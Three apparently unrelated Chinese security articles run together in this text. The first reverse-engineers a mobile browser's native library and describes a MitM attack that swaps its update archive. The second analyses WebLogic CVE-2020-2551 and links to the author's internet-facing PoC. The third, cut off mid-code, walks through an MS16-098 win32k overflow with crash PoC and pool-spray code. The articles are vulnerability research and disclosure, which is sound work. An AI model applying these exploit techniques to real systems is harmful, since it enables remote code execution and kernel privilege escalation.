`sub_7AF78`函数会为指定大小的字节数组创建一个容器实例（这里我们不详细讨论这一点）。这里代码创建了两个这样的容器：一个包含`DcO/lcK+h?m3c*q@`字符串（很容易猜到这是密钥），另一个包含经过加密的数据。这两个对象都会被存放到特定的结构中，该结构会交给`sub_6115C`函数处理。这里我们还注意到该结构包含值为3的一个字段。来看一下后续处理流程：
int __fastcall sub_611B4(struc_1 *a1, _DWORD *a2)
{
int v3; // lr
unsigned int v4; // r1
int v5; // r0
int v6; // r1
int result; // r0
int v8; // r0
*a2 = 820000;
if ( a1 )
{
v3 = a1->field_14;
if ( v3 )
{
v4 = a1->field_4;
if ( v4 < 0x19 )
{
switch ( v4 )
{
case 0u:
v8 = sub_6419C(a1->field_0, a1->field_10, v3);
goto LABEL_17;
case 3u:
v8 = sub_6364C(a1->field_0, a1->field_10, v3);
goto LABEL_17;
case 0x10u:
case 0x11u:
case 0x12u:
v8 = sub_612F4(
a1->field_0,
v4,
*(_QWORD *)&a1->field_8,
*(_QWORD *)&a1->field_8 >> 32,
a1->field_10,
v3,
a2);
goto LABEL_17;
case 0x14u:
v8 = sub_63A28(a1->field_0, v3);
goto LABEL_17;
case 0x15u:
sub_61A60(a1->field_0, v3, a2);
return result;
case 0x16u:
v8 = sub_62440(a1->field_14);
goto LABEL_17;
case 0x17u:
v8 = sub_6226C(a1->field_10, v3);
goto LABEL_17;
case 0x18u:
v8 = sub_63530(a1->field_14);
LABEL_17:
v6 = 0;
if ( v8 )
{
*a2 = 0;
v6 = v8;
}
return v6;
default:
LOWORD(v5) = 28032;
goto LABEL_5;
}
}
}
}
LOWORD(v5) = -27504;
LABEL_5:
HIWORD(v5) = 13;
v6 = 0;
*a2 = v5;
return v6;
}
前面值为3的这个字段会被当成`switch`条件。来看一下`case
3`，此时前面函数添加到结构体中的参数（即密钥以及加密数据）会交给`sub_6364C`函数处理。如果我们仔细观察`sub_6364C`，就可以找到RC4算法的身影。
因此我们已经找到加密算法和密钥，现在让我们尝试解密类名。我们得到的结果为`com/taobao/wireless/security/adapter/JNICLibrary`，非常棒，这表明我们的研究方向没有问题。
## 0x05 命令结构树
现在我们需要找到哪里调用了`RegisterNatives`，这将我们指引到`doCommandNative`函数。因此我们梳理了从`JNI_OnLoad`中调用的函数，在`sub_B7B0`找到了我们的目标：
int __fastcall sub_B7F6(JNIEnv *env, jclass clazz)
{
char signature[41]; // [sp+7h] [bp-55h]
char name[16]; // [sp+30h] [bp-2Ch]
JNINativeMethod method; // [sp+40h] [bp-1Ch]
int v8; // [sp+4Ch] [bp-10h]
v8 = *(_DWORD *)off_8AC00;
decryptString((unsigned __int8 *)&unk_83ED9, (unsigned __int8 *)name, 0x10u);// doCommandNative
decryptString((unsigned __int8 *)&unk_83EEA, (unsigned __int8 *)signature, 0x29u);// (I[Ljava/lang/Object;)Ljava/lang/Object;
method.name = name;
method.signature = signature;
method.fnPtr = sub_B69C;
return ((int (__fastcall *)(JNIEnv *, jclass, JNINativeMethod *, int))(*env)->RegisterNatives)(env, clazz, &method, 1) >> 31;
}
的确，代码注册了名为`doCommandNative`的一个原生方法。现在我们找到该地址后，可以看一下具体逻辑：
int __fastcall doCommandNative(JNIEnv *env, jobject obj, int command, jarray args)
{
int v5; // r5
struc_2 *a5; // r6
int v9; // r1
int v11; // [sp+Ch] [bp-14h]
int v12; // [sp+10h] [bp-10h]
v5 = 0;
v12 = *(_DWORD *)off_8AC00;
v11 = 0;
a5 = (struc_2 *)malloc(0x14u);
if ( a5 )
{
a5->field_0 = 0;
a5->field_4 = 0;
a5->field_8 = 0;
a5->field_C = 0;
v9 = command % 10000 / 100;
a5->field_0 = command / 10000;
a5->field_4 = v9;
a5->field_8 = command % 100;
a5->field_C = env;
a5->field_10 = args;
v5 = sub_9D60(command / 10000, v9, command % 100, 1, (int)a5, &v11);
}
free(a5);
if ( !v5 && v11 )
sub_7CF34(env, v11, &byte_83ED7);
return v5;
}
函数名表示这是开发者将所有函数转到原生库的统一入口点，我们对编号为`10601`的函数非常感兴趣。
从代码中我们可以通过命令编号生成3个子编号：`command / 10000`、`command % 10000 / 100`以及`command %
10`（这里我们对应的是`1`、`6`以及`1`）。这3个子编号、指向`JNIEnv`的指针以及传给该函数的其他参数共同组成一个结构体，以便后续使用。这3个子编号（这里我们用`N1`、`N2`以及`N3`来表示）构成了一棵命令树，如下所示：
这棵树会在`JNI_OnLoad`中动态创建，其中3个子编号共同编码了整棵树的路径。树中每个节点都包含相应函数经过异或处理后的地址，秘钥位于父节点中。如果我们理解了所有这些结构，那么想在代码中查找我们需要的函数是否被添加到这棵树中是非常简单的一件事（本文不会专门描述这方面内容）。
## 0x06 更多混淆技术
我们已经得到了能够解密通信数据的函数地址：`0x5F1AC`，但先别高兴得太早，浏览器开发者还给我们准备了另一个惊喜。
从Java代码中某个数组接受参数后，我们跳转到位于`0x4D070`的函数，这里有另一种代码混淆技术在等着我们。
首先将两个索引存入`R7`以及`R4`寄存器：
第一个索引`mov`到`R11`寄存器：
使用该索引从表中获得地址值：
转到第一个地址后，我们使用来自`R4`的第二个索引。该表中包含230个元素。
如何处理这张表？我们需要告诉IDA这是一种switch跳转：选择“Edit -> Other -> Specify switch idiom”。
生成的代码比较庞大，然而我们可以看到其中又调用了熟悉的`sub_6115C`函数：
在case
3中有个switch参数涉及到RC4解密。在这个case中，传递给处理函数的结构体字段来源于传递给`doCommandNative`的参数。前面提到过，其中包含一个魔术Int值16。分析对应的case，经过多次转换后，我们成功找到了能帮助我们识别加密算法的代码：
这是AES算法！
知道算法后，我们只需要获得参数即可，比如加密模式、秘钥以及初始向量（IV，是否存在该向量取决于AES算法的操作模式）。在调用`sub_6115C`函数之前，代码必须在某个地方先创建包含这些参数的结构体。但由于这部分代码经过混淆处理，我们决定patch代码，将解密函数用到的所有参数都dump到文件中。
## 0x07 Patch
如果不想使用汇编语言手动编写所有的patch代码，我们可以运行Android
Studio，编写自己的解密函数，该函数接收相同的参数，然后写入文件，再拷贝由编译器生成的结果代码。
浏览器团队顺便也在“帮助”我们添加代码。前面提到过，每个函数的开头都有一些垃圾代码，我们可以使用其他任意代码来替代这些代码，这一点非常方便。然而，目标函数开头处没有足够的空间，无法插入保存参数到文件的完整代码。我们需要将这些代码切分成几部分，使用相邻函数的垃圾代码空间。我们总共使用了4块垃圾空间。
第1块代码：
ARM架构使用`R0`–`R3`寄存器来存放前4个函数参数，如果还有其他参数，则通过栈来保存。`LR`寄存器用来保存返回地址。我们需要保存这些数据，这样当我们dump参数后，函数还能正常工作。我们还需要保存过程中使用的所有寄存器的值，因此我们使用的是`PUSH.W
{R0-R10,LR}`指令。在`R7`寄存器中，我们可以得到通过栈传递给函数的参数列表地址。
使用`fopen`函数，以`ab`模式打开`/data/local/tmp/aes`文件（这样我们就能追加写入）。然后加载`R0`寄存器中的文件名地址以及`R1`寄存器中的字符串地址（该字符串用来表示文件打开模式）。随后就是垃圾代码结束的位置，因此我们继续转到下一个函数。由于我们希望程序能继续运行，因此我们在函数开头处、垃圾代码之前转移到实际函数代码，然后将垃圾代码替换为剩余的patch代码。
接下来调用`fopen`。
aes函数的前3个参数都为`int`类型。由于我们在一开始就将寄存器压入栈，因此我们可以将栈中的地址直接传输到`fwrite`函数。
接下来我们有3个结构体，用来表示数据大小，包含指向秘钥、初始向量以及加密数据的指针。
最后，关闭该文件，恢复寄存器，将控制权交给真正的aes函数。我们使用patch后的库重新编译APK文件、经过签名后下载到设备或者模拟器上然后运行。现在我们已经dump出了许多数据，可以看到浏览器不仅会解密流量，也会解密其他数据，并且解密操作都通过该函数来执行。因为某些原因，我们并没有看到我们需要的数据，并且也没有在流量中看到我们预期的请求。我们不需要等浏览器发起请求，然后再用之前获取的加密响应来替换服务器返回的响应。这里我们直接在main
activity的`onCreate`中添加解密操作。
const/16 v1, 0x62
new-array v1, v1, [B
fill-array-data v1, :encrypted_data
const/16 v0, 0x1f
invoke-static {v0, v1}, Lcom/uc/browser/core/d/c/g;->j(I[B)[B
move-result-object v1
array-length v2, v1
invoke-static {v2}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
move-result-object v2
const-string v0, "ololo"
invoke-static {v0, v2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
重新编译、签名、安装和运行。由于该方法会返回一个`null`值，因此现在我们会得到一个`NullPointerException`。
进一步分析代码后，我们找到包含两个有趣字符串的一个函数：`META-INF/`以及`.RSA`。貌似该应用会校验证书，或者直接生成秘钥。我们并不想深入分析证书方面的操作，因此我们可以直接提供正确的证书。我们patch经过加密的字符串，使用`BLABLINF/`来替换`META-INF/`，在APK文件中使用该字符串创建一个目录，在其中保存浏览器证书。
重新编译、签名、安装并运行后，我们成功获得了秘钥。
## 0x08 MitM攻击
现在我们已经得到秘钥以及匹配的初始向量，可以尝试以CBC模式解密服务端返回的响应。
可以看到压缩文件的URL、类似MD5的哈希、`extract_unzipsize`以及一个数字，来逐个过一下。这里压缩文件的MD5值相同、解压后程序库的大小相同。现在我们尝试patch这个库，然后将其传输给浏览器。为了验证patch后的库是否已被成功加载，我们构建了一个Intent，用来弹出一个“PWNED!”文本消息。我们替换了来自服务端的两个响应：[puds.ucweb.com/upgrade/index.xhtml](http://puds.ucweb.com/upgrade/index.xhtml)以及提示下载压缩文件的响应。在第一个响应中，我们替换了MD5值（解压后大小保持不变）；在第二个响应中，我们发送了带有patch库的文件。
浏览器发起了多次请求来尝试下载文件，最终出现错误，导致下载失败。显然还有一些问题我们没有解决。分析返回的响应数据格式后，我们发现服务端还会传输压缩文件的大小：
该数据经过LEB128编码。我们的patch会稍微修改压缩库的大小，因此浏览器判定文件在下载过程中已被破坏，会在多次尝试后显示错误。当我们修复压缩文件大小后，就能看到预期的攻击结果，完整攻击过程可参考[此处视频](https://youtu.be/Nfns7uH03J8)。
## 0x09 攻击效果及官方回应
攻击者可以采用相同方法，利用浏览器这个不安全的功能来传播其启动恶意库。这些库会在浏览器的上下文中运行，拥有浏览器具备的完整系统权限。这样攻击者就能不受约束地显示钓鱼页面、访问浏览器的敏感文件以及数据库中的登录信息、密码以及cookie信息。
我们与浏览器开发者联系后，通知我们发现的这些问题，想解释这个漏洞的成因以及危险程度，但开发者拒绝与我们讨论这个问题。与此同时，带有危险函数的浏览器依然正常提供下载和使用。一旦我们发现漏洞细节后，我们再也不能像之前那样坐视不理。3月27日，官方发布了12.10.9.1193版浏览器，这个版本会通过HTTPS协议访问[puds.ucweb.com/upgrade/index.xhtml](https://puds.ucweb.com/upgrade/index.xhtml)。此外，在“漏洞修复”和本文发表这段时间内，如果我们使用该浏览器打开PDF文件，就可以看到一个错误信息：“Oops,
something is
wrong.”。打开PDF文件时浏览器并不会往服务器发送请求，然而这只是在应用启动时采取的措施，这意味着浏览器还是可以下载可执行代码，这仍然与Google
Play的政策不符。 | 社区文章 |
# 浅谈 weblogic CVE-2020-2551 漏洞 & 外网POC构造
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 基础概念
学习这个漏洞需要一些前置知识，比如CORBA与RMI
简单的概述一下：
CORBA是OMG制定的一套技术标准，用于分布式应用，其中用到了IDL进行跨语言支持，客户端与服务端之间用IIOP协议进行通信
RMI是另一种分布式应用技术，在JAVA中可以用JNDI进行简化应用，客户端与服务端使用JRMP协议进行通信，不过在weblogic中RMI使用的是T3协议，关于这个之前也爆出过不少[漏洞](https://blog.knownsec.com/2018/04/weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9Ecve-2018-2628%E6%BC%AB%E8%B0%88/)
[RMI-IIOP](https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/tutorial.html#7738)结合了RMI与CORBA各自的优点，通过IIOP协议部署RMI应用
[官方文档](https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/rmi_iiop_pg.html)也提到：
RMI server objects can use the IIOP protocol and communicate with CORBA client
objects written in any language
## 0x01 RMI-IIOP
暂时不提weblogic，先关注一下如何编写一个RMI-IIOP实例：
客户端代码可以参考[Java 中
RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿（上）](https://paper.seebug.org/1091/#weblogic-rmi)中的[测试项目](https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/tree/master/rmi-iiop)，可以自己编译HelloClient和HelloServer，也可以用测试项目中编译好的
在命令行启动名称服务器（java自带）：
start orbd -ORBInitialPort 1050
命令行开启服务端HelloServer并配置远程调试，关于如何用IDEA进行远程调试，可以参考[这里](https://www.anquanke.com/post/id/201762)开头提到的方法
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 HelloServer
当然不远程调试直接看结果也行，直接启动
java HelloServer
命令行开启客户端
Java HelloClient
此时会弹出计算器，成功远程调试的话，可以看到如下调用栈
EvilMessage.readObejct()中执行命令
题外话：weblogic的[安装](https://badcode.cc/2018/05/20/WebLogic-%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/)与[调试](https://badcode.cc/2018/05/20/WebLogic-%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/)文章
那么weblogic中的RMI-IIOP呢？[关于 Java 中的 RMI-IIOP](https://paper.seebug.org/1105/)这篇文章中有提到关于weblogic RMI-IIOP的利用，在它的基础上进行了一些研究，[Using WebLogic’s RMI over
IIOP](https://www.oreilly.com/library/view/weblogic-the-definitive/059600432X/ch04s04.html)讲到几种weblogic使用RMI-IIOP客户端的几种方式，包括：
1.独立RMI客户端（配合jndi，不使用weblogic的任何东西）
2.WebLogic客户端
3.J2EE clients
4.CORBA/IDL clients
前两种方式的区别，看来只是JNDI_FACTORY设置上的区别
之前研究weblogic
T3反序列化的时候，在weblogic上部署过Helloserver应用，有sayhello()方法可以利用，尝试设置两种JNDI_FACTORY调用一下，使用第二种JNDI_FACTORY成功调用sayHello()方法
那么修改一下weblogic T3协议的[POC](https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/blob/master/weblogic-rmi-client/src/main/java/com/longofo/weblogicrmi/Payload1.java)，其实只是把RMI修改为了IIOP，发现jtaTransactionManager利用链执行成功，向本地jrmplisten发出了jrmp请求
看一下流量，在remove()方法调用时，发送remove__java_lang_Object请求，流量中有恶意数据，但没有找到aced魔术头
猜测在服务端进行了特殊的解析后，再反序列化数据，看一下调用栈，可以看到后半部分的执行链跟前面原生RMI-IIOP的执行链很像，前面是从CDRInputStream.read_value()触发，这里是从weblogic中IIOPInputStream.read_value()触发，(read_value这个点，在[19年的议题](https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf)上也提到了)
这里请求会首先给clusterableServerRef.invoke()处理，根据不同的invoker调用this.invoker.invoke()，然后这里调用了Mejb_dj5nps_HomeImpl_WLSkel.invoke()，因为是“remove”，所以进入case
6分支调用IIOPInputStream.readObject()，在read_value()方法中解析IIOPInputStream数据并触发反序列化，这个就是利用remove()方法的POC
## 0x02 CVE-2020-2551
Lucifaer师傅的分析[文章](https://lucifaer.com/2020/02/25/WebLogic%20WLS%E6%A0%B8%E5%BF%83%E7%BB%84%E4%BB%B6RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2020-2551%EF%BC%89/?from=timeline&isappinstalled=0#2-2-Weblogic%E8%A7%A3%E6%9E%90%E6%B5%81%E7%A8%8B)提到了用bind()方法进行利用，这个也是互联网上主流的利用方式，跟一下调用栈
跟前面一样，这里请求会首先给clusterableServerRef.invoke()处理，根据不同的invoker调用this.invoker.invoke()，这里调用了CobraServerRef.invoke()，然后在
_NamingContextAnyImplBase._invoke()中，因为va1是“bind_any”，所以进入case
0分支，调用IIOPInputStream.read_any()方法，后面还是会调用IIOPInputStream.read_value()触发反序列，之前说在流量中没有看到aced魔术头，是因为在IIOPInputStream中有一套解析方式，IIOPInputStream的hex-value形式如下，其中包含类名和字段信息：
最终会调用恶意类的readObejct()方法
看了一下补丁，发现跟2015年T3反序列化利用的[补丁](https://www.tenable.com/security/research/tra-2016-09)的是同个位置
[WebLogic
CVE-2020-2551漏洞分析](https://paper.seebug.org/1138/)的测试中，看到CVE-2020-2551过滤的类位置也是在weblogic.iiop.Utils类中
但是在本地测试的时候，weblogic10.3.6打上2015年的补丁，并没有触发isBlacklisted()函数（但是在MsgAbbrevInputStream与InboundMsgAbbrev中都有调用isBlacklisted()进行黑名单验证，奇奇怪怪。。。）
这次CVE-2020-2551的补丁，在weblogic.iiop.Utils.LoadClass()中添加了过滤的verifyclassermitted()方法
黑名单过滤了恶意类，其中包括JtaTransactionManager的父类com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager，这个类是weblogic自带的，十分危险，在看补丁的时候就有一个想法，因为606行的验证是在LoadClass()之后，那如果在加载className的时候进行了类的加载执行恶意静态代码块不就绕过防御了吗？这个后面再说
## 0x03 模拟IIOP协议构造POC
用JAVA程序写的POC有网络问题，就直接打本地weblogic服务可以，打docker容器或者外网机器不行，提到这个问题的分析文章：
[手把手教你解决Weblogic CVE-2020-2551 POC网络问题](https://xz.aliyun.com/t/7498)
[漫谈 WebLogic-CVE-2020-2551](https://paper.seebug.org/1149/)
下面对POC进行调试，可以参考前面remove那个，也可以参考[Y4er](https://github.com/Y4er/CVE-2020-2551)的，前面两篇文章提到两种解决方法：
* 修改weblogic.jar包并重新打包
* 模拟IIOP协议
我都进行了尝试，重新打包weblogic后，会报java.lang.NoSuchMethodError:weblogic.security.subject.SubjectManager.installCESubjectManager错误，但是没有找到解决方案
所以就尝试模拟IIOP协议，先在POC下断点调试
发现在new InitialContext(env)时，调用EndPointImpl.sendReceive()中发送和接收了两个包
LocateReply中包含IOR信息，这里要理解[什么是IOR](http://www.pvv.ntnu.no/~ljosa/doc/encycmuclopedia/devenv/corba-index.html)，它的作用是，在RMI-IIOP客户端利用IIOP协议与服务端对象进行交互时，用来提供IIOP通信需要的host和port，还有红框部分Object_key用来区分服务端不同的对象
在模拟IIOP协议时，需要重点关注的是Object_key，host跟ip其实并不影响，之前开始测试的时候，是直接把所有的包重新重放一遍，发送resolve_any的时候返回location
forward
GIOP的[官方文档](https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf)中讲到location
forward时，表示Object_key是会变化的，不同次请求返回的Object_key可能不同（这里说的Object_key就是数据包中的key
address），这个Object_key，前面也有说到，是在用IIOP协议时，用来区别跟哪个对象进行通信，这个值需要在LocateReply中动态获取
最后这里没有选择模拟remove()，而是模拟bind()方法发出的IIOP请求，因为请求比较少，看下本地正常利用的数据包
发送LocateRequest，接收data，通过正则匹配获取LocateReply中的key address
手动设置恶意jrmp服务器(rmi://…)地址，间隔1秒发送bind_any包，因为这里的利用链发出的jrmp请求不是用DGCClient，所以不受[JEP290](https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)的影响，可以通过jrmplisten进行利用
POC在docker环境中测试成功，可以用[vulhub](https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf)这个SSRF环境，设置IP为宿主机，docker成功获取宿主机jrmp请求，具体代码放在[Github](https://github.com/Dido1960/Weblogic-CVE-2020-2551-To-Internet/blob/master/CVE-2020-2551.py)
## 0x04 验证猜想
前面有提到利用codebase加载远程代码绕过检测的想法，研究过[JNDI攻击](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)的同学应该清楚，codebase可以用来指定远程类的位置，如果codebase可控并且程序允许远程加载类，那么就可以加载远程恶意类执行静态代码块中的恶意代码。
阅读代码可知，weblogic.iiop.Utils.lodaClass()第二个参数表示codebase，这个参数在IIOPInputStream.read_value()中读取，即为var8参数，1659行调用readIndirectingRepositoryId(var8)，最终会调用weblogic.iiop.Utils.lodaClass()，要执行1644行和1659行代码，需要(va4r
& 1)=1，(va4 & 6)=2，所以var4的值为3
readIndirectingRepositoryId到getClassFromId的调用栈，最后会执行304行loadclass()
看一下bind_any数据包，其实就是通过GIOP Header与GIOP Request组合而成的，GIOP Request中又包括key
address（与LocateteReply中一致）、ServiceContextList与stub_data，var4的值就是stub_data中的x7fxffxffx02，所以(va4r
& 1)=0，(va4 & 6)=2，不会执行1644行代码设置codebase
我们通过修改下面第一个框x7fxffxffx02为x00x00x00x03，第二个框添加codebase长度与值信息，具体的代码放在[Github](https://github.com/Dido1960/Weblogic-CVE-2020-2551-To-Internet/blob/master/CVE-2020-TEST.py)，可以看到还进行了一个对齐操作，这是一个坑点，因为在读取后面类信息前，会判断下一个字节的位置是不是4的倍数，如果不是会忽略掉一些位数，比如下一个字节的位置是1，则会忽略掉3个字节，直接从位置为4的这个字节读起，这个位置是相对整个bind_any包来说的，这里如果字节不是4的倍数，进行补0操作
还有一个问题，看一下之前readIndirectingRepositoryId到getClassFromId的调用栈，中间会经过findClassInfo()函数，在这里，如果已经加载过某个类，类ID信息会保存起来，findClassInfo()时直接返回类信息，不会进入weblogic.iiop.Utils.getClassFromID()函数
所以在进行测试时，每次都要改一下类名
不管怎样，最后总算是成功模拟IIOP协议修改了codebase值，并执行weblogic.iiop.Utils.getClassFromId()函数。
不幸的是，在获取RMIURLClassFinder的时候返回NULL，RMIEnvironment.getEnvironment().isNetworkClassLoadingEnabled()函数返回false
原因是ServerMBeanImpl中_NetworkClassLoadingEnable参数的值为False
想要看看在哪个weblogic配置文件中设置了这个参数，但是没有找到。。。
## 总结
在学习这个漏洞的过程中，发现需要很多的前置知识，比如java反序列化，RMI，JNDI那些东西，相关的学习可以参考这个[文章专栏](https://www.anquanke.com/subject/id/206001)，虽然最后修改codebase进行利用失败，但还是收获不少。 | 社区文章 |
### 前言
通过对比MS16-098补丁可以在win32k的bFill函数中发现这个整数溢出问题，而它将引发一个池溢出。本文的利用思路主要参考[该文](https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/ "该文")，这里给出一些调试和逆向分析的过程，并讨论利用过程中的一些思路和细节问题。
测试环境 windows 8.1
### 漏洞成因
以下基本块展示了整数溢出的触发点
指令`lea ecx,
[rax+rax*2]`将rax乘3后放入ecx中，而rax是受ring3层控制的，所以我们可以将rax设置到足够大，使得rax乘3的结果的低32位截断到ecx。如rax为0x55555557时，ecx为0x5，这使得之后的PALLOCMEM2分配空间时只分配(0x5
<< 4)的大小。
后面调用的bConstructGET函数会根据一些条件将point信息复制到申请的空间中，而此时该空间大小远远小于原数据大小，这就造成了缓冲区溢出。由于在释放时会检测内存池中相邻块的头部，而这里覆盖了相邻块的头部，所以在最后free时会造成crash。
#### 调试分析
接下来调试一个poc来理解整个流程
#include <Windows.h>
#include <wingdi.h>
#include <stdio.h>
#include <winddi.h>
#include <time.h>
#include <stdlib.h>
#include <Psapi.h>
int main(int argc, char* argv[])
{
static POINT points[0x3fe01];
points[0].x = 0x22;
points[0].y = 0x33;
HDC hdc = GetDC(NULL);
HDC hMemDC = CreateCompatibleDC(hdc);
HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
BeginPath(hMemDC);
for (int j = 0; j < 0x156; j++) {
PolylineTo(hMemDC, points, 0x3FE01);
}
EndPath(hMemDC);
FillPath(hMemDC);
return 0;
}
运行后就会crash，回溯一下调用栈
kd> kb
00 fffff800`84be60ba : 00000000`00000000 00000000`00000000 ffffd001`893163a0 fffff800`84a2b06c : nt!DbgBreakPointWithStatus
01 fffff800`84be59cb : 00000000`00000003 00000000`00000020 fffff800`84b5f980 00000000`00000019 : nt!KiBugCheckDebugBreak+0x12
02 fffff800`84b51aa4 : fffff901`401ef2e0 00000000`00000000 00000000`00000000 00000001`00000000 : nt!KeBugCheck2+0x8ab
03 fffff800`84ca605e : 00000000`00000019 00000000`00000020 fffff901`401ef2e0 fffff901`401ef340 : nt!KeBugCheckEx+0x104
04 fffff960`00245e7e : ffffd001`89317360 fffff901`401ef2f0 00000000`00000001 00000000`00000006 : nt!ExDeferredFreePool+0x7ee
05 fffff960`002137e1 : fffff900`00002000 00000000`00000080 00000000`00000001 ffffd001`849a4c10 : win32k!bFill+0x63e
说明正是在以下位置free pool时引起的crash
接着在几个比较关键的地方下断点，首先是整数溢出的位置
kd> r
rax=0000000005555557 rbx=ffffd001826bf970 rcx=0000000000000050
rdx=0000000067646547 rsi=ffffd001826bf970 rdi=ffffd001826bf834
rip=fffff96000245bc7 rsp=ffffd001826beae0 rbp=ffffd001826bf250
r8=0000000000000000 r9=fffff960002169a4 r10=ffffd001826bf970
r11=fffff90144c45018 r12=ffffd001826bf360 r13=ffffd001826bf360
r14=ffffd001826bf970 r15=fffff960002169a4
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000246
win32k!bFill+0x387:
fffff960`00245bc7 e8d462e6ff call win32k!PALLOCMEM2 (fffff960`000abea0)
可以看到分配的大小rcx为0x50，步过后我们记录下返回的缓冲区地址。接着执行到bConstructGET处，查看内存的覆盖情况，如下:
接着执行最后就会free pool了，这就是poc引起crash整个的流程。
### 利用思路
整数溢出类似off by one，仅通过该漏洞很难完成利用，通常需要搭配其他漏洞或根据程序流将自身转换为其他漏洞类型。
#### 基本思路
这里的整数溢出最终转换为了一个缓冲区溢出，如何从缓冲区溢出到执行shellcode呢，可以考虑一种使用Bitmap对象来进行任意地址写的方法。当调用CreateBitmap时，会创建0x10大小的堆头，0x18大小的BaseObject
header，之后是surfobj header，最后才是数据部分。其中surfobj header结构如下
typedef struct {
ULONG64 dhsurf; // 0x00
ULONG64 hsurf; // 0x08
ULONG64 dhpdev; // 0x10
ULONG64 hdev; // 0x18
SIZEL sizlBitmap; // 0x20
ULONG64 cjBits; // 0x28
ULONG64 pvBits; // 0x30
ULONG64 pvScan0; // 0x38
ULONG32 lDelta; // 0x40
ULONG32 iUniq; // 0x44
ULONG32 iBitmapFormat; // 0x48
USHORT iType; // 0x4C
USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50
要通过Bitmap对象完成任意地址写，需要关注的字段有sizlBitmap和pvScan0，前者表示Bitmap的长宽，用于指示可访问大小，而后者则是指向当前数据的指针，通过GetBitmapBits和SetBitmapBits能够对该位置进行读写。要使我们的读写能力达到最大化，考虑存在两个Bitmap对象，Bitmap0和Bitmap1的情景，Bitmap0的pvScan0指向Bitmap1的pvScan0，这使得Bitmap1的pvScan0可控，于是在随后任何需要的时候，都能够重新设置要读写的地址。
不过在本例中，由于溢出数据不可控，所以不能将pvScan0精确指向Bitmap1的pvScan0处，但却可以增大sizlBitmap的大小来变相达到目的。因此可以构造这样一个场景，通过缓冲区溢出，使Bitmap0的sizlBitmap变大，扩大Bitmap0的读写范围，这意味着可以通过SetBitmapBits从Bitmap0数据开始处溢出到Bitmap1的SURFOBJ结构，且溢出数据可控，以此达到完全任意地址读写的能力。为此，我们需要构造符合这种情景的内存布局
| pmalloc 0x50 | Bitmap0 | Bitmap1 |
#### pool feng shui
在进行布局前，先介绍介绍pool的相关背景知识。kernel pool是内核的堆管理方式，可分为3类：
* Desktop Heap。使用RtlAllocateHeap或DesktopAlloc分配，RtlFreeHeap释放
* Non-Paged Pool。通常是系统对象，如信号量，事件对象等，它们的虚拟地址直接可以映射到物理地址
* Paged Session Pool。使用ExAllocatePoolWithTag分配，ExFreePoolWithTag释放
在本例中的分配均属于Paged Session
Pool，因为PAllOCMEM2最终会调用ExAllocatePoolWithTag，要通过它来进行溢出并完成利用，必须使其他的对象处于相同的堆管理系统。在Paged
Session
Pool中，内存池被划分为以0x1000字节为单位的页，每次申请一块内存时，会先分配0x1000的页，再从页中分配所需大小的块，在64位系统中，每个块有0x10字节的头部。当分配大小大于0x808时，从前面开始分配，反之则从后往前分配。
现在来重新考察我们所希望的内存布局，并解决一些细节问题。要说明的是，这里展现的形式只代表了这些对象在内存中地址的高低关系，并非表明它们是相邻的。
| PALLOCMEM 0x50 | Bitmap0 | Bitmap1 |
第一个问题是，覆盖相邻块导致crash的问题。当释放一个页中的块时，系统会检测相邻块的头部是否合法，一旦覆盖了相邻块的头部，就会导致crash。解决的方法是，将PALLOCMEM分配的对象放置到一个页的尾部，因为系统只检测本页的相邻块，而下一页的块头部是不检测的。
第二个问题是，PALLOCMEM的调用时机是在bFill函数中，且分配在页的尾部，如何将其放置到Bitmap0和Bitmap1之前。显然可以在bFill函数执行之前，提前在页的尾部制造一个空洞，并将Bitmap分配到一个页的前面，以此为基础进行heap
spray。
最终导致一个页看起来像这样
| padding | Bitmap | hole |
而内存布局就成了
| region | Bitmap | PALLOCMEM |
| region | Bitmap0 | region |
| region | Bitmap1 | region |
##### 调试验证
预先进行堆布局的代码如下
void fengshui()
{
HBITMAP bmp;
for (int k = 0; k < 5000; k++)
{
bmp = CreateBitmap(1670, 2, 1, 8, NULL);
INT64 bmpAddr = getBitMapAddr(bmp);
bitmaps[k] = bmp;
}
HACCEL hAccel, hAccel2;
LPACCEL lpAccel;
lpAccel = (LPACCEL)malloc(sizeof(ACCEL));
SecureZeroMemory(lpAccel, sizeof(ACCEL));
HACCEL* pAccels = (HACCEL*)malloc(sizeof(HACCEL) * 7000);
HACCEL* pAccels2 = (HACCEL*)malloc(sizeof(HACCEL) * 7000);
for (INT i = 0; i < 7000; i++)
{
hAccel = CreateAcceleratorTableA(lpAccel, 1);
hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
pAccels[i] = hAccel;
pAccels2[i] = hAccel2;
}
for (int k = 0; k < 5000; k++)
DeleteObject(bitmaps[k]);
for (int k = 0; k < 5000; k++)
